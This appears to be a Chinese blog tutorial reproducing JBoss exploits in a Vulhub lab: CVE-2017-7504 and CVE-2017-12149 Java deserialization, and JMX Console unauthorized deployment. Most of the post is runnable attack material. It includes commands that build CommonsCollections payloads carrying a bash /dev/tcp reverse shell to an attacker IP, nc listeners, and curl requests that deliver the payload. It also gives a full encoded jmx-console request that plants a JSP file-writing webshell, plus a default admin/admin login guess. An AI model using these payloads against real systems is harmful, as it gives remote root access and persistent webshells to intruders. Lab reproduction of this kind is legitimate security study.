JBoss 相关漏洞复现及利用

JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

一、漏洞环境

使用Vulhub靶场环境,\vulhub-master\jboss\CVE-2017-7504目录下,docker启动环境

docker-compose up -d

 查看启动状态 docker-compose ps

 显示服务已启动,访问靶机地址8080端口,服务已成功启动

二、信息收集

使用whatweb探查目标站点指纹信息,参数说明,-v详细列出指纹信息,--url-suffix= 拼接url后缀

whatweb -v http://192.168.227.129 --url-suffix=":8080"

探查到目标使用JBoss 4.0.5.GA,可针对此信息,展开 漏洞利用尝试。

三、 JBossMQ JMS 反序列化漏洞(CVE-2017-7504) 

vulhub靶机:192.168.227.129

kali攻击机:192.168.227.128

靶机服务docker启动,在vulhub/jboss/CVE-2017-7504目录下

docker-compose up -d

访问靶机8080端口,漏洞环境已成功启动

访问/jbossmq-httpil/HTTPServerILServlet路径,返回如下页面,则可能存在该漏洞

这里用到JavaDeserH2HC-master工具,实现漏洞利用

https://github.com/joaomatosf/JavaDeserH2HC

kali进入到JavaDeserH2HC的文件下,执行编译生成恶意java类

javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java

生成ser文件,ser全称serialize,序列化恶意数据至文件。

java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/192.168.227.128/8888 0>&1"

 kali开启监听端口8888

nc -lvp 8888

使用curl,以二进制方式post发送数据 ,--data-binary意为二进制方式的post传送

curl http://192.168.227.129:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser

 监听位置则反弹一个shell,且为root权限

四、jboss 反序列化 (CVE-2017-12149)

vulhub靶机:192.168.227.129

kali攻击机:192.168.227.128

靶机服务docker启动,在/vulhub/jboss/CVE-2017-12149目录下

docker-compose up -d

访问靶机8080端口,漏洞环境已成功启动

访问目标靶机/invoker/readonly路径,若状态码500返回如下页面,则可能存在该漏洞

 依然使用JavaDeserH2HC工具,进行漏洞的复现利用

攻击机进入到JavaDeserH2HC的文件下,执行编译生成恶意java类

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

修改接收shell的IP和端口 

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.227.128:8888

开启攻击机端口监听8888 

nc -lvp 8888

利用curl,发送恶意数据到目标站点

curl http://192.168.227.129:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

 监听端口返回一个shell,权限为 root

五、JMX Console未授权访问 

默认情况下访问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。

需要验证的时候可以尝试弱口令登陆进入。admin\admin

能够进入jmx-console后,我们开始部署war包。

http://192.168.227.129/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=hack.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True

这里arg0代表war包的名称、arg1=文件名称  、arg2=文件后缀名、arg3=文件内容。

arg3解码后的内容:<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>(f表示文件名,t表示文件内容)

执行成功,回到jmx-console下,找到jboss.web.deployment下,可以看到我们的hack.wa已成功部署。

我们写入一个1.txt文件进行测试。

http://ip/hack/shell.jsp?f=1.txt&t=hello world!

 访问查看,文件确实被成功写入,后续可以依此法写入webshell。

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值